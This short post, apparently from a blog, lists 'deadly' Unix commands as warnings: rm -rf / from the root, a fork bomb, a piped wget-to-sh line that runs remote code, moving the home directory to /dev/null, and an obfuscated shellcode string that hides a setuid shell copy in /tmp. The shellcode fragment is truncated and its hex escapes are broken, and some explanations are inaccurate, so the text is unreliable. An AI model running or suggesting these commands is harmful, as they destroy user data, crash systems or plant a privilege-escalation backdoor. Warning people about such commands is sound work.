Deadly Unix Commands

  • the oldie but goodie
rm -rf /

will recursively/force erase starting from the root directory

  • the obfuscated oldie but goodie
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"cp -p /bin/sh /tmp/.beyond; chmod 4755

same as the previous one but harder to tell what it actually does

  • the fork bomb
<code class="plain plain">:(){:|:&};:</code>

forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

  • running code from a remote source
wget -O- | sh

lulscript will be executed on the local machine

  • the one you don’t need root for
mv ~/* /dev/null

sends the relative home directory into a black hole

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